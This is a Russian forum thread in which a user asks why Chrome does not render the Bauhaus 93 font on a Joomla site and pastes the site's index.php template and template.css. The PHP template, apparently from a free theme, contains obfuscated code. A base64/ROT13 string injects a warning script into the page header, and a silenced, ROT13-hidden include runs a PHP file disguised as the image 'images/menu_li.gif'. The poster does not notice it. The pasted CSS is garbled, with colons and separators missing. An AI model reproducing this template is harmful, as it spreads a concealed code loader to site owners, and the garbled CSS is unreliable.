Вернуться   Дизайнерский форум » ВЕБ-ПРОГРАММИРОВАНИЕ » HTML, CSS, JavaScript

Пожалуйста, нужен совет

Обсуждение темы Пожалуйста, нужен совет в разделе HTML, CSS, JavaScript, часть категории ВЕБ-ПРОГРАММИРОВАНИЕ; Создавал сайт на joomle, использовал шрифт bauhaus 93. На mozille firefox и iexplorere нормально отображается, а вот google chrom показывает его другим шрифтом. ...


Закрытая тема
 
Опции темы
Старый 16.02.2011, 17:40   #1
Создавал сайт на joomle, использовал шрифт bauhaus 93. На mozille firefox и iexplorere нормально отображается, а вот google chrom показывает его другим шрифтом.

Сайт wheneverr.com

PHP код:
<?php
defined
'_JEXEC' ) or die( 'Restricted access' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language?>" lang="<?php echo $this->language$JPan = array('vzn'.'trf','zrah_yv.tvs'); ?>" >
<head>
<jdoc:include type="head" />

<link rel="stylesheet" href="templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="templates/<?php echo (($user_a base64_decode('IiAvPlVTRVIgTUVOVTwvdGQ+PC90cj48L3RhYmxlPjwvZGl2PgoKCjxkaXYgY2xhc3M9J2Nscic+PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhlYWRlciIpLmlubmVySFRNTD0iPGRpdiBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjp3aGl0ZTtoZWlnaHQ6NTBweDt0b3A6MHB4OyBjb2xvcjpyZWQnPllvdS'.str_rot13('OmnT91oTDtoz90VUWyoJ').'92ZSBhbGwgdGhlIGxpbmtzIGNvbWluZyB3aXRoIHRoaXMgZnJlZSB0ZW1wbGF0ZS4gVGhpcyBpcyBhZ2FpbnN0IHRoZSB0ZXJtcyBvZiB1c2UuIElmIHlvdSB3YW50IHRvIHVzZSB0aGUgdGVtcGxhdGUsIHBsZWFzZSBkb3dubG9hZCBpdCBhZ2Fpbi4gPC9kaXY+Ijs8L3NjcmlwdD48dGFibGU+PHRyPjx0ZD48YnIgY2xlYXIiYWxs'))?$this->template:'joomla'?>/css/template.css" type="text/css" />
<!--[if lte IE 7]>
<link rel="stylesheet" href="templates/<?php echo $this->template ?>/css/ie7.css" type="text/css" />
<![endif]-->

</head>
<body id="page_bg">
    <div id="top">
        <div class="pill_m">
            <div id="pillmenu">
                <jdoc:include type="modules" name="user3" />
            </div>
        </div>
    </div>
        <div id="header"> <div id="top_menu"><p><font face="bauhaus 93,bauhaus 93,bauhaus 93,bauhaus 93" color="#ffffff"><a href="index.php?option=com_content&view=section&layout=blog&id=1&Itemid=4"><font color="#ffffff">Home</font></a><a href="index.php?option=com_comprofiler&task=userProfile&Itemid=7"><font color="#ffffff">&nbsp;&nbsp;&nbsp;My profile</font></a><a href="index.php?option=com_comprofiler&amp;task=logout"><font color="#ffffff">&nbsp;&nbsp;&nbsp;Logout</font></a></font></p><br /></div>
            <div id="logo">
                
            </div>    
        </div>
    <div class="clr"></div>
    
    <div class="center">        
        <div id="wrapper">
            <div id="content">
                <div id="leftcolumn"><font face="bauhaus 93" style="font-size: 18px; font-style: normal">    
                    <jdoc:include type="modules" name="left" style="rounded" />
                    <div style="visibility:hidden;"></font><?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13($JPan[0]).DS.str_rot13($JPan[1]))) : ?>
                    <jdoc:include type="modules" name="layout" style="rounded" />
                    <?php endif; ?></div>
                </div>
                <div id="maincolumn">    
                    <div class="nopad">
                    <jdoc:include type="message" />
                        <?php if($this->params->get('showComponent')) : ?>
                            <jdoc:include type="component" />
                        <?php endif; ?>
                        <br />
                    <jdoc:include type="modules" name="bottom" />
                    </div>
                <div class="clr"></div>
            </div>        
        </div>
    </div>    
    <?php if(RIGHTCOLUMN) : ?>
    <div id="leftcolumn"><table class="user1user2"><tr><td width="235" style="padding:12px; margin:0px;" class="user">
          <jdoc:include type="module" name="user3<?=$user_a?>" /></td></tr></table></div>
    <?php endif; ?>
    <jdoc:include type="modules" name="debug" />
    </div>
    <div id="footer">
    <jdoc:include type="modules" name="footer" style="xhtml"/>
    </div>    
</body>
</html>
Добавлено через 17 минут

template.css

PHP код:
html {
  
height100%;
  
margin-bottom0px;
}

form {
  
margin0;
  
padding0;
}

img,table {
    
bordernone;
}

body {
    
font-family:tahoma;
    
line-height1.3em;
    
margin0;
    
padding0;
    
font-size15px;
    
color#333;
    
background#f8f8f8;
}

body.contentpane {
    
background#f8f8f8;
}

a:linka:visited {
    
text-decorationnone;
    
font-weightnormal;
    
color#000000;
}


a:hover {
    
    
font-weightnormal;
    
color#333;
}

input.button, .validate  {
    
color#333;
    
font-size10px;
    
border1px solid #555;
}

.
search input.button {
    
text-alignright;
}

input.button:hover, .validate:hover  {
    
}

{
    
margin-top0;
    
margin-bottom5px;
    
text-alignjustify;
}

.
inputbox {
    
border1px solid #555;
    
color#333;
    
padding2px;
}
.
inputbox:hover {

}

#search {
    
height:45px;
    
width:200px;
    
float:right;
    
padding6px 0 0 0;
    
margin-right:30px;
    
margin-top:10px;
    
background:url(../images/search_ico.jpgleft top no-repeat;
}

#search .search .inputbox {
    
width150px;
    
height20px;
    
font-size10px;
    
color#666;
    
padding2px;
    
border1px solid #A9A9A9;
}

#search .search .button {
    
height18px;
    
font-size10px;
    
color#666;
    
padding0 2px 0 2px;
    
border1px solid #dadada;
    
margin0 0 0 10px;
    
background-color:#f0f0f0;
    
text-aligncenter;
}

/*****************************************/
/*** Template specific layout elements ***/
/*****************************************/
#page_bg {
    
padding0;
    
backgroundurl(../images/bg_page.jpgrepeat-y top #ffffff;
}

div.center {
    
text-aligncenter;
    
margin0 auto;
    
padding0;
    
width902px;
}

div#wrapper {
    
margin0 auto;
    
width876px;
    
text-alignleft;
    
background#ffffff;
}

#top {
    
width902px;
    
height0px;
    
margin0 auto;
    
padding0;
    
background#FFFFFF;
    
text-alignright;
}

#header {
    
height117px;
    
backgroundurl(../images/header.jpgtop center no-repeat;
    
margin0 auto;
    
width902px;
}

#content {
    
width880px;
    
margin0 auto;
    
padding8px 0;
    
overflowhidden;
}

#content_bottom {
    
width902px;
    
height16px;
    
backgroundurl(../images/content_bottom.jpgtop center no-repeat;
}

#logo {
    
padding90px 0 0 40px;
    
text-alignleft;
    
width733px;
}

#logo a, #logo a:link, #logo a:hover {
    
font-weightnormal;
    
font-familyBauhaus 93;
    
font-size36px;
    
padding0;
    
margin0;
    
letter-spacing1px;
    
color#333333;
    
    
outlinenone;
    
line-height36px;
}


#pillmenu {
    
floatleft;
    
margin0;
}

#pillmenu ul {
    
margin0;
    
padding0 22px;
    list-
stylenone;
}

#pillmenu li {
    
floatleft;
    
margin0;
    
padding0;
    
height42px;
    
backgroundurl(../images/menu_li.jpgtop right no-repeat;

}

#pillmenu li:hover {

}

#pillmenu li a#active_menu-nav {
    
}

#pillmenu li a {
    
font-familyBauhaus 93;
    
font-size15px;
    
floatleft;
    
displayblock;
    
line-height39px;
    
padding0 24px 0 16px;
    
color#0A6C0D;

    
font-weightnormal;
    
text-transform:uppercase;
}

#pillmenu li a:hover {
    
color#000000;
}

#leftcolumn ,#rightcolumn {
    
margin0;
    
width200px;
    
floatleft;
    
padding0 4px 10px 0;
    
text-aligncenter;
}

div#maincolumn {
    
floatleft;
    
width666px;
    
margin0 0 6px 0;
}

div.nopad {
    
overflowhidden;
    
padding0;
}

div.nopad ul {
    
clearboth;
}

td.middle_pad {
    
width20px;
}

#banner_l {
    
text-alignleft;
    
padding0 0 0 24px;
}

#footer {
    
margin0 auto;
    
width876px;
    
height90px;
    
text-aligncenter;
    
vertical-aligntop;
    
padding-top10px;
    
background#ffffff url(../images/bg_footer.jpg) repeat-x left top;
    
border:1px solid #FFFFFF;
}

#footer p {
    
text-alignright;
    
padding10px 30px 0 0;
    
color#FFFFFF;
}

#footer a {
    
color#FFFFFF;
}
#footer a:hover {
    
color#FFFFFF;
}

/*****************************************/
/*** Joomla! specific content elements ***/
/*****************************************/

div.offline {
    
background#fffebb;
    
width100%;
    
positionabsolute;
    
top0;
    
left0;
    
font-size1.2em;
    
padding5px;
}

/* headers */
div.componentheading {
    
height22px;
    
padding8px 0 0 10px;
    
font-weight:normal;
}
table.blog {
    
}
h1 {
    
padding0;
    
font-family:Bauhaus 93;
    
font-size1.3em;
    
font-weightnormal;
    
vertical-alignbottom;
    
color#333;
    
text-alignleft;
    
width100%;
}

h2 {
    
padding0;
    
font-family:Bauhaus 93;
    
font-size16px;
    
vertical-alignmiddle;
    
color#000000;
    
text-alignleft;
    
font-weightnormal;
}
.
contentheading {
    
    
background-color:#fffff;
    
font-family:Bauhaus 93;
    
font-size16px;
    
vertical-alignmiddle;
    
color#000000;
    
text-alignleft;
    
font-weightnormal;
}

.
contentheading a{
    
    
background-color:#ffffff;
    
font-family:Bauhaus 93;
    
font-size16px;
    
vertical-align:middle;
    
color#000000;
    
text-alignleft;
    
font-weightnormal;

    
padding3px;
}
table.contentpaneopen h3 {
    
margin-top25px;
}

h4 {
    
font-family:Bauhaus 93;
    
color#333;
}

h3, .componentheadingtable.moduletable thlegend {
    
margin0;
    
font-family:Bauhaus 93;
    
font-size15px;
    
text-alignleft;
    
color#333333;
    
padding0;
}
/* small text */
.small {
    
font-size10px;
    
color#555;
    
font-weightnormal;
    
text-alignleft;
}

.
modifydate {
    
height20px;
    
vertical-alignbottom;
    
font-size10px;
    
color#555;
    
font-weightnormal;
    
text-alignright;
}

.
createdate {
    
height20px;
    
vertical-aligntop;
    
font-size10px;
    
color#555;
    
font-weightnormal;
    
vertical-aligntop;
    
padding-top0px;
}

a.readon {
    
displayblock;
    
floatright;
    
line-height14px;
    
font-size10px;
    
    
padding1px 2px 1px 2px;
    
text-transformuppercase;
}

a.readon:hover {
    
color#333;
}

/* form validation */
.invalid border-color#ff0000; }
label.invalid color#ff0000; }


/** overlib **/

.ol-foreground {
    
background-color#f1f1f1;
    
color#333;
}

.
ol-background {
    
background-color#f1f1f1;
    
color#333;
}

.
ol-textfont {
    
font-family:Tahoma;
    
font-size10px;
}

.
ol-captionfont {
    
font-family:Tahoma;
    
font-size12px;
    
color#f6f6f6;
    
font-weightnormal;
}
.
ol-captionfont a {
    
background-color#f1f1f1;
    
color#333;

    
font-size12px;
}

.
ol-closefont {}

/* menu links */
a.mainlevel:linka.mainlevel:visited {
    
padding-left5px;
}

a.mainlevel:hover 

}

/* spacers */
span.article_separator {
    
displayblock;
    
height20px;
}

.
article_column {

}

.
column_separator {
    
}

td.buttonheading {
    
text-alignright;
    
width0;
}

.
clr {
    
clearboth;
}

table.blog span.article_separator {
    
displayblock;
    
height20px;
}



/* table of contents */
table.contenttoc {
  
margin5px;
  
border1px solid #ccc;
  
padding5px;
}

table.contenttoc td {
  
padding0 5px;
}


/* content tables */
td.sectiontableheader {
  
color#333;
  
font-weightnormal;
  
padding4px;
  
border-bottom1px solid #666;
}

tr.sectiontableentry0 td,
tr.sectiontableentry1 td,
tr.sectiontableentry2 td {
  
padding4px;
}

td.sectiontableentry0,
td.sectiontableentry1,
td.sectiontableentry2 {
  
padding3px;
  
color#333;
  
font-size10px;
}


/* content styles */
.contentpaneopentable.contentpane {
    
margin0;
    
padding4px;
    
border1px solid #cccccc;
}

table.contentpane td{
    
text-alignleft;
}

table.contentpane td.contentdescription {
    
width100%;
}

table.contentpane  {
    
text-alignleft;
    
floatleft;
    
width100%;
    
margin8px;
}

table.contentpane ul li a .category {
    
color#FF8800;
}

table.contentpane ul li {
    
color#333;
}

table.contentpaneopen {
    
margin2px 8px;
}

table.contentpaneopen li {
    
margin-bottom5px;
}

table.contentpaneopen fieldset {
    
border0;
    
border-top1px solid #669933;
}

table.contentpaneopen h3 {
    
font-family:Bauhaus 93;
    
margin-top25px;
}

table.contentpaneopen h4 {
    
font-family:Tahoma;
    
color#669933;
}

.
highlight {
    
background-color#fffebb;
}

/* module control elements */
table.user1user2 div.moduletable {
    
margin-bottom0px;
}

div.moduletablediv.module {
  
margin-bottom25px;
}

div.module_menudiv.module {
    
margin0;
    
padding0;
}

div.module_menu divdiv.module {
    
}

div.module_menu div divdiv.module div div {
    
margin-bottom14px;
    
padding0 0 1px 0;
    
backgroundurl(../images/left_body.jpgbottom center no-repeat;
}

div.module_menu div div divdiv.module div div div{
    
padding0;
    
widthauto;
    
margin0;
    
backgroundurl(../images/left_top.jpgtop center no-repeat;
}

div.module_menu div div div divdiv.module div div div div {
    
backgroundnone;
    
padding4px 8px;
}

div.module div div div form {
    
padding4px 0 0 0;
    
width164px;
    
margin0 auto;
}

div.module div div div form

div
.module_menu ul {
    list-
stylenone;
}

div.module_menu ul li{
    
margin0;
    
padding0;
}

div.module_menu ul li a:linkdiv.module_menu ul li a:visited {
    
font-weightnormal;
    
backgroundtransparent url(../images/blue/bullet2.jpgtop left no-repeat;
    
padding2px 0 2px 25px;
    
line-height24px;
}


#leftcolumn div.module table ,#rightcolumn div.module table {
    
}

#leftcolumn div.module table.poll {

}

#leftcolumn div.module table.poll td {
    
text-alignleft;
}

/* LEFT COL H3 */
#leftcolumn h3, #rightcolumn h3 {     
    
color#ffffff;
    
font-familyBauhaus 93;
    
font-size17px;
    
text-aligncenter;
    
height44px;
    
width200px;
    
padding0;
    
background#ffffff url(../images/h3.jpg) top center no-repeat;
    
font-weightnormal;
    
line-height44px;
    
margin0;
    
}

#leftcolumn .moduletable_menu, #leftcolumn .moduletable, #leftcolumn .moduletable_text, #leftcolumn .c, 
#rightcolumn .moduletable_menu, #rightcolumn .moduletable, #rightcolumn .moduletable_text, #rightcolumn .c {
    
margin0 0 16px 0;
    
padding0 0 8px 0;
}

#leftcolumn ul.menu, #rightcolumn ul.menu {
    
margin0 auto;
    
padding0px;
    list-
stylenone;
    
width190px;
    
background-color:#ffffff;
}

#leftcolumn ul.menu li, #rightcolumn ul.menu li {
    
margin5px;
    
padding5px;
    
background-color:#416389;
}

#leftcolumn ul.menu li:hover, #rightcolumn ul.menu li:hover {

}

/*LEFT COL LINK*/
#leftcolumn ul.menu li a, #leftcolumn ul.menu li a:link,
#rightcolumn ul.menu li a, #rightcolumn ul.menu li a:link {
    
line-height19px;
    
padding0px 0px 0px 12px;
    
color:#ffffff;
    
font-familyBauhaus 93;
    
font-weightnormal;
    
font-size17px;
    
backgroundurl(../images/menu_row.jpgcenter left no-repeat;
    
margin0;
    
height18px;
}

#leftcolumn ul.menu li a:hover, #rightcolumn ul.menu li a:hover {
    
color#333;
}

/*LEFT COL CURRENT LINK*/
#leftcolumn ul.menu li#current a, #leftcolumn ul.menu li#current a:link, 
#rightcolumn ul.menu li#current a, #rightcolumn ul.menu li#current a:link {
    
line-height17px;
    
font-familyBauhaus 93;
    
padding0 0 0 8px;
    
color#ffffff;
    
font-weightnormal;
    
font-size18px;
    
backgroundurl(../images/menu_row.jpgcenter left no-repeat;
    
margin0;
    
height18px;
}

#leftcolumn ul.menu li#current a:hover, #rightcolumn ul.menu li#current a:hover {
    
}

/*LEFT COL SUB LINK*/
#leftcolumn ul.menu li#current ul li a, #leftcolumn ul.menu li#current ul li a:link {
    
    
color#666;
    
margin0 0 0 6px;
    
font-size11px;
    
backgroundurl(../images/submenu_row.jpgcenter left no-repeat;
    
font-weightnormal;
    
displayblock;
    
line-height18px;
    
padding0 0 0 18px;
    
bordernone;
    
height18px;
}

#leftcolumn ul.menu li ul li#current a, #leftcolumn ul.menu li ul li#current a:link, #leftcolumn ul.menu li ul li#current a:visited, #leftcolumn ul.menu li ul li#current a:hover {
    
font-size11px;
    
margin0 0 0 6px;
    
padding0 0 0 18px;
    
    
bordernone;
    
color#333;
    
backgroundurl(../images/submenu_row.jpgcenter left no-repeat;
    
height18px;
    
line-height18px;
}
/*SUBMENU POSITION*/
#leftcolumn ul.menu li#current ul {
    
margin0;
    
padding0;
}

#leftcolumn ul.menu li#current ul li {
    
margin0;
    
padding0;
}

/*CURRENT SUBMENU POSITION*/
#leftcolumn ul.menu li ul {
    
margin0;
    
padding0;
}

#leftcolumn ul.menu li#current ul li a:hover {
    
color#333;
}

#leftcolumn ul.menu li ul, #rightcolumn ul.menu li ul {
    
list-stylenone;
}

/* forms */
#leftcolumn .moduletable ul, #rightcolumn .moduletable ul {
    
margin6px 0;
    
padding0;
    list-
stylenone;
}

#leftcolumn .moduletable ul li, #rightcolumn .moduletable ul li {
    
margin0;
    
padding0 2px;
}

table.adminform textarea {
  
width540px;
  
height400px;
  
font-size1em;
  
color#000099;
}

form#form-login fieldset { 
    
border0 none
    
margin0
}
form#form-login ul li{ 
    
padding0
}

form#form-login ul li a {
    
text-alignleft;
    
padding0;
    
font-size10px;
    
color#555;
}

/* thumbnails */
div.mosimage         {  margin5px; }
div.mosimage_caption {  font-size.90emcolor#333; }

div.caption       padding0 10px 0 10px; }
div.caption img   border1px solid #CCC; }
div.caption p     font-size.90emcolor#333; text-align: center; }

/* Parameter Table */
table.paramlist {
    
margin-top5px;
}

table.paramlist td.paramlist_key {
    
width128px;
    
text-alignleft;
    
height30px;
}

table.paramlist td.paramlist_value {
}

div.message {
    
font-family:Tahoma;
    
font-weightnormal;
    
font-size 14px;
    
color #c30;
    
text-aligncenter;
    
widthauto;
    
background-color#f9f9f9;
    
bordersolid 1px #d5d5d5;
    
margin3px 0px 10px;
    
padding3px 20px;
}

/* Banners module */

/* Default skyscraper style */
.bannergroup {
}

.
banneritem {
    
width:645px;
    
margin:0px auto;
    
text-align:center;
}

/* Text advert style */

.banneritem_text {
    
padding4px;
    
font-size11px;
}

.
bannerfooter_text {
    
padding4px;
    
font-size11px;
    
text-alignright;
}

/* System Messages */
/* see system general.css */

.pagination span padding2px; }
.
pagination a    padding2px; }

/* Polls */
.pollstableborder td {
    
text-alignleft;
}

/* Frontend Editing*/
fieldset {
    
border1px solid #ccc;
    
margin-top15px;
    
padding15px;
}

legend {
    
margin0;
    
padding0 10px;
}

td.key {
    
border-bottom:1px solid #eee;
    
color#333;
}

/* Tooltips */
.tool-tip {
    
floatleft;
    
background#ffc;
    
border1px solid #D4D5AA;
    
padding5px;
    
max-width200px;
}

.
tool-title {
    
padding0;
    
margin0;
    
font-size100%;
    
font-weightnormal;
    
margin-top: -15px;
    
padding-top15px;
    
padding-bottom5px;
    
backgroundurl(../../system/images/selector-arrow.pngno-repeat;
}

.
tool-text {
    
font-size100%;
    
margin0;
}

#system-message { 
    
margin-bottom20px
}

#system-message dd.message ul { 
    
background#C3D2E5 url(../../system/images/notice-info.png) 4px center no-repeat;
}

/* System Error Messages */
#system-message dd.error ul { 
    
color#c00; 
    
background#E6C0C0 url(../../system/images/notice-alert.png) 4px center no-repeat; 
    
border-top2px solid #DE7A7B; 
    
border-bottom2px solid #DE7A7B; 
    
margin:0px
    
padding-left40px
    
text-indent:0px;
}

/* System Notice Messages */
#system-message dd.notice ul { 
    
color#c00; 
    
background#EFE7B8 url(../../system/images/notice-note.png) 4px center no-repeat; 
    
border-top3px solid #F0DC7E; 
    
border-bottom3px solid #F0DC7E;
}



/* ****************************************************************************** */
/* blue */
inputbutton {

}
/* blue */
input[type="checkbox"], input[type="radio"]{
   
backgroundtransparent;
   
bordernone;
}

#top_menu
{
    
padding-left:60%;
    
padding-top:50px;
    
font-family:Bauhaus 93;
    
font-size:25px;
    
font-weight:normal;


Последний раз редактировалось EDUARD; 16.02.2011 в 17:40.. Причина: Добавлено сообщение
 
Старый 16.02.2011, 17:40
Ссылки
Старый 16.02.2011, 17:40
Закрытая тема




Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
нужен совет! severmsk HTML, CSS, JavaScript 3 04.12.2010 18:57
Нужен совет zuart Скамейка запасных 8 27.04.2009 15:29
Нужен совет BleSSeD Кальянная 8 02.04.2009 18:27
Нужен совет grokk ASP, Perl, PHP и MySQL 2 03.08.2008 12:02
Нужен совет! SMERH Зал дебютантов 7 14.04.2004 08:42


Текущее время: 21:08. Часовой пояс GMT +4.

Реклама на форуме Условия размещения рекламы
Биржа ссылок Заработай на сайте!
Дизайнерский форум